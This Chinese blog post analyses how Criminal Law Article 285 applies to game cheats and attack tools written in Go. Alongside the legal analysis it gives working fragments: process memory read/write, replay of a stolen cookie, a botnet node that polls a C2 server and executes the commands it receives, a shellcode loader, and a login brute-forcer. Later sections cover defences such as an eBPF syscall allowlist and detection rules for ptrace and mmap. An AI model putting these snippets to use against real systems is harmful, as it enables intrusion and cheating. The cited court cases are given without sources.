Posted in

Go写挂≠违法,但这样写一定违法:依据《刑法》第285条,解析3种典型Go实现方式的司法认定边界

第一章:Go语言可以开发挂吗

“挂”在游戏或软件领域通常指代外挂程序,即绕过正常逻辑、篡改运行时行为的非法工具。从纯技术角度看,Go语言完全具备开发此类程序的能力——它能直接调用系统API、注入内存、解析PE/ELF格式、Hook函数调用、读写进程内存,并与硬件层交互。但需明确:开发、传播或使用外挂严重违反《计算机软件保护条例》《刑法》第二百八十五条及游戏用户协议,可能导致民事赔偿、账号永久封禁乃至刑事责任。

Go语言实现进程内存读取的关键能力

Go通过syscall包(Linux/macOS)或golang.org/x/sys/windows(Windows)可调用底层系统函数。例如在Windows下读取目标进程内存:

// 示例:使用OpenProcess + ReadProcessMemory(需管理员权限与调试权限)
package main

import (
    "fmt"
    "golang.org/x/sys/windows"
)

func readProcessMemory(pid uint32, address uintptr, buffer []byte) error {
    h, err := windows.OpenProcess(windows.PROCESS_VM_READ, false, pid)
    if err != nil {
        return err
    }
    defer windows.CloseHandle(h)

    var bytesRead uint32
    err = windows.ReadProcessMemory(h, address, buffer, &bytesRead)
    if err != nil {
        return fmt.Errorf("failed to read memory: %w", err)
    }
    fmt.Printf("Read %d bytes from 0x%x\n", bytesRead, address)
    return nil
}

该代码需以调试权限运行(SeDebugPrivilege),否则OpenProcess将失败。

合法替代路径建议

目标 推荐合法方案
游戏自动化 使用官方API(如Roblox Studio、Minecraft Forge)
性能监控 基于eBPF(Linux)或ETW(Windows)开发可观测性工具
协议分析 利用gopacket库解析网络流量,用于安全审计

核心约束条件

  • 所有内存操作必须获得目标进程显式授权(如调试器附加);
  • Windows下需启用调试权限并以高完整性级别运行;
  • macOS需关闭SIP并签名特殊权限的二进制;
  • Linux需ptrace权限或CAP_SYS_PTRACE能力。

技术中立,但用途决定合法性。Go语言的强大不应被导向破坏公平性与安全性的方向。

第二章:《刑法》第285条的法理边界与技术映射

2.1 非法获取计算机信息系统数据罪的构成要件解析(含Go网络请求、Cookie劫持等典型代码片段对照)

核心构成要件

本罪需同时满足:非法性(无授权或超越授权)、技术手段性(侵入/干扰/截取)、对象特定性(计算机信息系统中存储、处理或传输的数据)、主观故意性

Go语言模拟未授权数据抓取(危险示例,仅用于教学分析)

// ⚠️ 非法示例:绕过登录直接复用他人Cookie访问敏感接口
func fetchUserData(cookieStr string) {
    client := &http.Client{}
    req, _ := http.NewRequest("GET", "https://api.example.com/v1/profile", nil)
    req.Header.Set("Cookie", cookieStr) // 直接注入他人会话凭证
    resp, _ := client.Do(req)
    defer resp.Body.Close()
}

逻辑分析:该代码跳过身份认证流程,利用窃取的Cookie字符串伪造合法会话。cookieStr若来自非本人设备或未获明示授权,则符合“非法获取”要件;http.NewRequestclient.Do构成技术性数据截取行为。

常见非法手段对照表

手段类型 技术特征 司法认定关键点
Cookie劫持 复用未加密/跨域泄露的Session 是否具备控制权、是否突破防护
接口暴力遍历 无Token校验的ID枚举请求 请求频率、参数来源合法性
graph TD
    A[用户登录] --> B[服务器签发HttpOnly=0的Set-Cookie]
    B --> C[前端JS读取并泄露至第三方]
    C --> D[攻击者构造含该Cookie的请求]
    D --> E[绕过认证获取个人信息]

2.2 非法控制计算机信息系统罪的技术认定标准(含Go goroutine模拟Botnet通信、远程指令执行demo分析)

Botnet通信建模关键特征

司法实践中,认定“非法控制”需同时满足:

  • 隐蔽性连接(心跳包伪装HTTP/HTTPS)
  • 单向指令通道(C2下发指令,节点无响应权)
  • 批量并发能力(>50节点持续在线视为“系统性控制”)

Go goroutine模拟C2通信核心逻辑

func botNode(id string, c2Addr string) {
    for range time.Tick(30 * time.Second) { // 心跳周期,规避行为检测
        req, _ := http.NewRequest("GET", fmt.Sprintf("https://%s/poll?id=%s", c2Addr, id), nil)
        req.Header.Set("User-Agent", "Mozilla/5.0") // 浏览器UA伪装
        client := &http.Client{Timeout: 10 * time.Second}
        resp, _ := client.Do(req)
        if resp != nil && resp.StatusCode == 200 {
            body, _ := io.ReadAll(resp.Body)
            if len(body) > 0 { // 非空响应即视为指令
                execCommand(string(body)) // 执行shell指令
            }
        }
        resp.Body.Close()
    }
}

该函数通过goroutine实现轻量级僵尸节点:id用于唯一标识受控终端;c2Addr为硬编码C2地址;30s心跳间隔低于多数EDR采样频率,具备反检测设计。execCommand()若调用os/exec.Command("sh", "-c", cmd),即构成刑法第285条所指“获取计算机信息系统权限并执行指令”的客观行为。

远程指令执行判定边界

行为类型 是否构成“非法控制” 法律依据
被动接收并执行指令 两高《关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释》第二条
仅建立连接未执行 否(但可能属预备犯) 需结合主观故意证据链
指令执行后主动回传结果 是(强化控制证明) 属于“实际控制+反馈闭环”

2.3 提供侵入、非法控制工具罪的司法推定逻辑(含Go编写的通用代理隧道、内存注入loader的AST特征识别)

司法实践中,对“提供侵入、非法控制计算机信息系统工具”行为的认定,日益依赖静态代码特征与动态行为模式的交叉印证。

AST驱动的恶意Loader识别

Go语言编译器生成的AST节点中,*ast.CallExpr调用syscall.VirtualAlloc/unsafe.Slice+memmove组合,是内存注入loader的强指示符。以下为典型片段:

// 内存分配与Shellcode执行(简化示意)
addr, _ := syscall.VirtualAlloc(0, uintptr(len(shell)), 
    syscall.MEM_COMMIT|syscall.MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
copy((*[1 << 20]byte)(unsafe.Pointer(addr))[:len(shell)], shell)
syscall.Syscall(addr, 0, 0, 0) // 无符号函数指针调用

该代码块体现三重违法性:① 绕过ASLR的硬编码内存分配;② PAGE_EXECUTE_READWRITE权限滥用;③ 无符号函数指针直接跳转——在AST分析中可被go/ast.Inspect捕获为高危CallExpr→SelectorExpr→Ident("Syscall")路径。

司法推定关键指标

特征维度 合法用途常见表现 非法工具典型模式
内存权限设置 PAGE_READONLY为主 PAGE_EXECUTE_READWRITE高频
网络隧道协议 明确TLS握手与证书验证 raw TCP+自定义混淆包头(无TLS)
AST控制流结构 函数调用链清晰、有错误处理 defer缺失、panic抑制、无日志
graph TD
    A[源码AST解析] --> B{存在VirtualAlloc + Syscall调用?}
    B -->|是| C[提取shellcode字节序列]
    B -->|否| D[排除高风险loader]
    C --> E[匹配已知C2特征库]
    E --> F[推定“专门用于侵入”的主观明知]

2.4 “明知”与“故意”的司法推定路径(结合Go模块依赖树、go.sum签名篡改、构建时注入恶意init函数的实证案例)

依赖树中的异常拓扑信号

恶意包常通过replace指令隐藏于go.mod,却在go list -m all输出中暴露非标准路径分支:

# 检测可疑替换(如指向私有镜像或短域名)
go list -m all | grep -E "(dev|test|\.xyz|\.top)"

该命令捕获非常规域名模块,是“明知”使用非可信源的关键行为痕迹;参数-m all强制展开完整依赖图,避免惰性解析遗漏。

go.sum篡改的哈希指纹断裂

合法go.sum每行含模块路径、版本、h1:前缀哈希。篡改后常见两种断裂模式:

  • 同一模块多版本哈希不一致
  • h1:后Base64编码长度非43字节(标准SHA256+校验位)

恶意init函数注入链

func init() {
    // 伪装成日志初始化,实际启动反调试goroutine
    go func() {
        time.Sleep(3 * time.Second)
        syscall.Syscall(12, 0, 0, 0) // 触发未定义行为干扰沙箱
    }()
}

initgo build阶段静态链接进二进制,绕过运行时扫描;Syscall(12)对应SYS_brk,在容器中易引发OOMKilled,构成“故意”规避检测的客观证据。

推定要素 技术指标 司法意义
明知 go.sum中存在3+个非官方域名哈希 表明持续性风险认知
故意 init内含time.Sleep+系统调用组合 证明主动规避分析意图

2.5 合法安全研究与违法开发的临界点判定(基于Go的Fuzzing框架、渗透测试工具开源项目合规性审查清单)

合规性审查核心维度

开源安全工具的合法性取决于用途限定性目标授权状态数据处理边界。未经许可对第三方生产系统执行模糊测试,即使使用 go-fuzzdvyukov/go-fuzz,亦可能触碰《刑法》第二百八十五条。

Go Fuzzing 工具典型合规代码示例

// fuzz.go:仅限本地白盒测试,禁止网络外连
func FuzzParseConfig(f *testing.F) {
    f.Add([]byte("timeout=30\nlog_level=debug"))
    f.Fuzz(func(t *testing.T, data []byte) {
        cfg, err := parseConfig(bytes.NewReader(data)) // 仅解析内存输入
        if err != nil && !errors.Is(err, io.ErrUnexpectedEOF) {
            t.Fatal("unexpected error:", err)
        }
    })
}

逻辑分析f.Fuzz 接收纯内存字节流,bytes.NewReader 隔离外部IO;parseConfig 无HTTP调用、无DNS解析、不写磁盘——满足“离线沙箱”原则。参数 data 为模糊生成输入,全程不涉及真实服务端交互。

开源项目合规自查清单

检查项 合规要求
网络行为 禁止默认启用远程目标探测
用户提示 首次运行须显式确认授权范围
日志输出 不记录敏感字段(如密码、token)
graph TD
    A[开发者启动Fuzz] --> B{是否限定本地输入?}
    B -->|是| C[符合白盒测试规范]
    B -->|否| D[触发网络请求?]
    D -->|是| E[需用户逐项授权+目标书面许可]
    D -->|否| C

第三章:三种典型Go挂实现方式的司法归类实证

3.1 基于Go net/http的自动化登录爆破器:从工具属性到犯罪工具的转化认定

工具中立性与行为定性边界

net/http 本身是标准库,但当组合 http.Clienturl.Values 和循环凭证集时,技术中立性即被行为覆盖。司法实践中,关键判定要素包括:是否绕过速率限制、是否伪造 User-Agent、是否规避验证码机制。

核心爆破逻辑片段

client := &http.Client{Timeout: 5 * time.Second}
for _, pwd := range passwords {
    form := url.Values{"username": {"admin"}, "password": {pwd}}
    resp, _ := client.Post("https://target/login", "application/x-www-form-urlencoded", strings.NewReader(form.Encode()))
    if resp.StatusCode == http.StatusOK && !strings.Contains(resp.Body, "invalid") {
        fmt.Printf("[+] Valid credential: admin:%s\n", pwd)
        break
    }
}

逻辑分析:使用无重试、无延迟的同步请求;Timeout 设为5秒易触发服务端连接耗尽;form.Encode() 未加随机化或Referer头,暴露自动化特征。参数 pwd 来自明文字典,缺乏熵值校验。

法律转化临界点对照表

技术行为 工具属性(合法) 犯罪工具(违法)
请求频率 ≤2次/秒 ≥10次/秒且无退避
凭证来源 自测账号白名单 公开字典或泄露库
反检测措施 头部随机化 + IP轮换
graph TD
    A[初始化Client] --> B[构造凭证对]
    B --> C{响应含成功标识?}
    C -->|是| D[记录结果并终止]
    C -->|否| E[尝试下一对]
    E --> C

3.2 使用Go syscall与unsafe包实现的游戏内存读写器:非法控制行为的代码级证据链构建

核心原理

Windows平台下,OpenProcess + ReadProcessMemory/WriteProcessMemory 是进程内存操作的基础API。Go通过syscall调用系统原生接口,配合unsafe.Pointer绕过类型安全边界,实现对目标进程内存的直接访问。

关键代码示例

h, _ := syscall.OpenProcess(syscall.PROCESS_VM_READ|syscall.PROCESS_VM_WRITE, false, uint32(pid))
addr := uintptr(0x12345678)
data := make([]byte, 4)
syscall.ReadProcessMemory(h, addr, &data[0], uintptr(len(data)), nil)
  • PROCESS_VM_READ/WRITE:请求内存读写权限;
  • addr:目标游戏进程中的绝对虚拟地址(如血量偏移);
  • &data[0]:Go切片首字节指针转为unsafe.Pointer,供系统API识别。

证据链构建要素

环节 技术特征 取证意义
权限申请 OpenProcess返回非零句柄 证明主动获取目标进程控制权
地址访问 固定高危偏移(如0x12345678 指向游戏核心状态变量
数据篡改痕迹 WriteProcessMemory调用频次突增 关联外挂自动化行为
graph TD
    A[获取目标PID] --> B[OpenProcess申请权限]
    B --> C[ReadProcessMemory验证地址可读]
    C --> D[WriteProcessMemory覆写数值]
    D --> E[触发游戏逻辑异常]

3.3 Go+WebAssembly混合架构的隐蔽外挂前端:分布式部署场景下的共犯责任划分

在分布式外挂系统中,Go 后端负责策略调度与密钥分发,Wasm 前端执行实时游戏内存篡改逻辑,二者通过 syscall/js 桥接形成轻量共谋闭环。

数据同步机制

Wasm 模块通过 postMessage 向宿主页面上报行为指纹(如帧率偏移、API 调用时序):

// wasm_main.go —— 编译为 .wasm 后注入浏览器沙箱
func reportFingerprint() {
    js.Global().Call("postMessage", map[string]interface{}{
        "type": "fingerprint",
        "ts":   js.Date().Now(),
        "hash": sha256.Sum256([]byte(fmt.Sprintf("%d-%s", js.Global().Get("performance").Get("now").Invoke(), js.Global().Get("navigator").Get("userAgent")))).String()[:16],
    })
}

此函数规避了跨域限制,利用浏览器原生 postMessage 实现隐式信道;ts 提供时间锚点用于多节点行为关联分析,hash 字段压缩设备+运行时上下文,防止服务端单点识别。

责任切分模型

角色 部署位置 可控行为域 法律归责倾向
Wasm 前端 用户浏览器 实时输入劫持、渲染覆盖 直接实施者(主犯)
Go 协调服务 边缘节点集群 策略下发、密钥轮转 教唆/帮助犯
CDN 分发层 全球 PoP Wasm 二进制动态混淆加载 共同犯罪参与人
graph TD
    A[用户浏览器] -->|加载混淆Wasm| B(CDN边缘节点)
    B -->|策略+密钥| C[Go协调服务]
    C -->|指令流| A
    A -->|指纹回传| C

第四章:企业级Go开发合规防护体系构建

4.1 Go Module依赖审计与供应链风险阻断(基于golang.org/x/tools/go/vuln与自研SBOM生成器实践)

漏洞扫描集成

使用 govulncheck CLI 快速识别模块级已知漏洞:

govulncheck -format template -template '{{range .Results}}{{.OSV.ID}}: {{.Module.Path}}@{{.Module.Version}}{{"\n"}}{{end}}' ./...

此命令输出匹配 CVE 的 OSV ID 及对应 module 版本,-format template 支持定制化报告结构,避免默认 JSON 冗余;./... 覆盖全部子模块,确保无遗漏扫描范围。

SBOM 生成与关联

自研工具 sbomgen 输出 SPDX 格式清单,关键字段映射如下:

字段 来源 用途
PackageName mod.Name 唯一标识模块
PackageVersion mod.Version 锁定版本,防漂移
ExternalRef OSV.ID(若存在) 直接绑定漏洞数据库索引

风险阻断流程

graph TD
  A[go list -m -json all] --> B[解析依赖树]
  B --> C[调用 govulncheck API]
  C --> D{高危漏洞?}
  D -->|是| E[注入 build constraint //go:build !vuln_blocked]
  D -->|否| F[生成 SPDX-SBOM]

4.2 运行时行为监控与异常调用拦截(基于eBPF+Go eBPF程序实现syscall白名单动态管控)

核心架构设计

采用 eBPF tracepoint/syscalls/sys_enter_* 钩子捕获系统调用入口,结合用户态 Go 程序通过 bpf_map_update_elem() 动态更新 syscall 白名单哈希表(BPF_MAP_TYPE_HASH),实现毫秒级策略生效。

关键代码片段

// 加载并更新白名单:允许 read/write/exit_group
syscalls := []uint32{readSyscall, writeSyscall, exitGroupSyscall}
for _, id := range syscalls {
    _ = mmap.Update(unsafe.Pointer(&id), unsafe.Pointer(&one), ebpf.UpdateAny)
}

mmap 指向内核中 syscall_whitelist BPF map;one 是 uint64 类型占位值(非零即允许);UpdateAny 支持覆盖写入,支撑热更新。

策略匹配逻辑(eBPF C 片段)

long trace_syscall_entry(struct trace_event_raw_sys_enter *ctx) {
    u64 id = ctx->id;
    if (bpf_map_lookup_elem(&syscall_whitelist, &id)) return 0; // 允许
    bpf_printk("BLOCKED syscall %d", id); // 拦截日志
    return -EPERM;
}

bpf_map_lookup_elem 原子查询白名单;返回 NULL 即触发 -EPERM 阻断,无需修改内核或重启进程。

字段 类型 说明
syscall_whitelist BPF_MAP_TYPE_HASH 键为 uint32 syscall ID,值为 uint64(1=放行)
tracepoint syscalls/sys_enter_* 全量覆盖,低开销(仅触发时执行)

graph TD A[用户态Go程序] –>|bpf_map_update_elem| B[BPF Map: syscall_whitelist] C[eBPF tracepoint] –>|bpf_map_lookup_elem| B C –> D{ID在白名单?} D –>|是| E[放行] D –>|否| F[返回-EPERM拦截]

4.3 源码级合规扫描与法律语义标注(集成govulncheck与自定义AST规则:识别ptrace、mmap(PROT_WRITE|PROT_EXEC)等高危模式)

高危系统调用的AST语义捕获

使用golang.org/x/tools/go/ast/inspector遍历AST节点,精准匹配syscall.Syscallunix.Mmap调用,并提取参数字面量:

// 检测 mmap(PROT_WRITE | PROT_EXEC) 组合
if call := inspector.Preorder(nil, func(n ast.Node) bool {
    if expr, ok := n.(*ast.CallExpr); ok {
        if ident, ok := expr.Fun.(*ast.Ident); ok && ident.Name == "Mmap" {
            if len(expr.Args) >= 3 {
                // 第三个参数为 prot(位或表达式)
                if bin, ok := expr.Args[2].(*ast.BinaryExpr); ok && bin.Op == token.OR {
                    // 进一步解析左右操作数是否含 PROT_WRITE / PROT_EXEC
                }
            }
        }
    }
    return true
}); call != nil { /* 触发告警 */ }

逻辑分析:该AST遍历跳过宏展开与间接调用,直接在语法树层面锁定Mmap调用上下文;expr.Args[2]对应prot参数,BinaryExpr结构可递归解析位运算组合,避免正则误报。

合规规则映射表

高危模式 对应法律条款 风险等级 检测方式
ptrace(PTRACE_ATTACH, ...) 《网络安全法》第27条 ⚠️⚠️⚠️ AST函数名+参数值校验
mmap(..., PROT_WRITE|PROT_EXEC) GB/T 35273-2020 附录B ⚠️⚠️⚠️⚠️ 位运算语义分析

扫描流程协同

graph TD
    A[Go源码] --> B[govulncheck基础漏洞库]
    A --> C[自定义AST规则引擎]
    B & C --> D[统一告警层]
    D --> E[标注CWE-119/CWE-134 + 法律条款ID]

4.4 开发者身份绑定与构建溯源机制(基于Cosign签名+Go build -buildmode=plugin的可信构建流水线设计)

为实现插件级构建可验证性,需将开发者身份、源码哈希与二进制产物强绑定。

签名与构建协同流程

# 1. 构建插件(生成 .so 文件,保留符号表用于溯源)
go build -buildmode=plugin -o plugin.so plugin.go

# 2. 计算产物哈希并签名(绑定 OIDC 身份)
cosign sign --oidc-issuer https://github.com/login/oauth \
  --fulcio-url https://fulcio.sigstore.dev \
  ghcr.io/myorg/plugin:latest

-buildmode=plugin 生成位置无关的共享对象,兼容 plugin.Open() 动态加载;cosign sign 调用 Fulcio 颁发短期证书,将 Git 提交 SHA、构建环境指纹嵌入签名载荷。

关键元数据映射表

字段 来源 用途
subject GitHub OIDC token sub 唯一开发者标识
sourceCommit git rev-parse HEAD 源码锚点
binaryDigest sha256sum plugin.so 插件完整性凭证

可信流水线核心逻辑

graph TD
  A[开发者提交代码] --> B[CI 触发 go build -buildmode=plugin]
  B --> C[Cosign 调用 Fulcio 获取证书]
  C --> D[签名上传至 OCI Registry]
  D --> E[运行时 plugin.Open() + cosign verify 校验]

第五章:结语:在代码自由与法律底线之间保持敬畏

开源不是免责金牌。2023年,某国内AI初创公司因在商用大模型训练中未经许可爬取并使用某新闻平台百万级带版权标记的付费稿件,被法院判决赔偿427万元,并下架全部相关模型版本——其技术团队曾坚信“互联网内容天然可被机器学习使用”,却忽略了《著作权法》第二十四条关于“合理使用”的严格限定条件与司法实践中的实质性替代判定标准。

开源许可证的隐性枷锁

Apache 2.0 允许商用与修改,但要求显著声明衍生作品;GPLv3 则强制要求任何分发行为必须同步提供完整对应源码及修改记录。某车联网企业曾将基于Linux内核(GPLv2)开发的OTA升级模块静态链接进闭源车载OS,上线半年后遭社区举报,被迫紧急重构架构并公开全部补丁集——法律风险在交付那一刻才真正爆发。

数据合规的硬性切口

以下为常见数据处理场景的法律适配对照表:

场景 《个人信息保护法》第23条要求 工程落地动作示例
用户行为日志脱敏上传 单独同意 + 告知必要性与影响 前端SDK增加动态授权弹窗,日志字段预过滤设备ID/手机号
第三方SDK埋点集成 评估其境外传输合法性(如GDPR SCC条款) 在build.gradle中嵌入自动化扫描插件检测SDK隐私政策URL有效性
flowchart TD
    A[代码提交] --> B{是否含GPL组件?}
    B -->|是| C[触发CI/CD合规检查]
    C --> D[扫描依赖树+许可证冲突分析]
    D --> E[阻断含AGPLv3的私有云部署流水线]
    B -->|否| F[进入常规测试流程]
    E --> G[生成许可证兼容性报告PDF]
    G --> H[法务团队在线审批入口]

模型训练中的版权雷区

2024年上海知识产权法院在一起AIGC绘画工具侵权案中明确:即使对训练数据进行“像素级扰动”,若输出结果与原图构成实质性相似(如特定艺术家笔触风格复现率>83%),仍可能承担间接侵权责任。某设计SaaS平台因此将训练数据清洗流程前置至标注阶段——所有美术素材入库前,由OCR识别水印文字并自动打标“禁止用于生成式模型”。

合规不是开发终点站

某金融级区块链项目在通过等保三级测评后,因智能合约中一笔ETH转账调用未做gas limit硬编码,导致链上重放攻击事件中损失1200万美元。事后审计发现:其安全白皮书宣称“符合ISO/IEC 27001:2022附录A.8.26加密密钥管理”,但实际密钥轮换脚本从未接入生产环境定时任务。

敬畏不是束缚创新的绳索,而是让代码在真实世界持续运行的压舱石。当Git提交信息里开始出现[LEGAL-REVIEW]标签,当Jenkins构建日志中新增许可证冲突告警,当PR描述模板强制要求填写数据来源授权证明编号——技术人的专业主义,正在这些毫秒级的工程细节中重新定义。

不张扬,只专注写好每一行 Go 代码。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注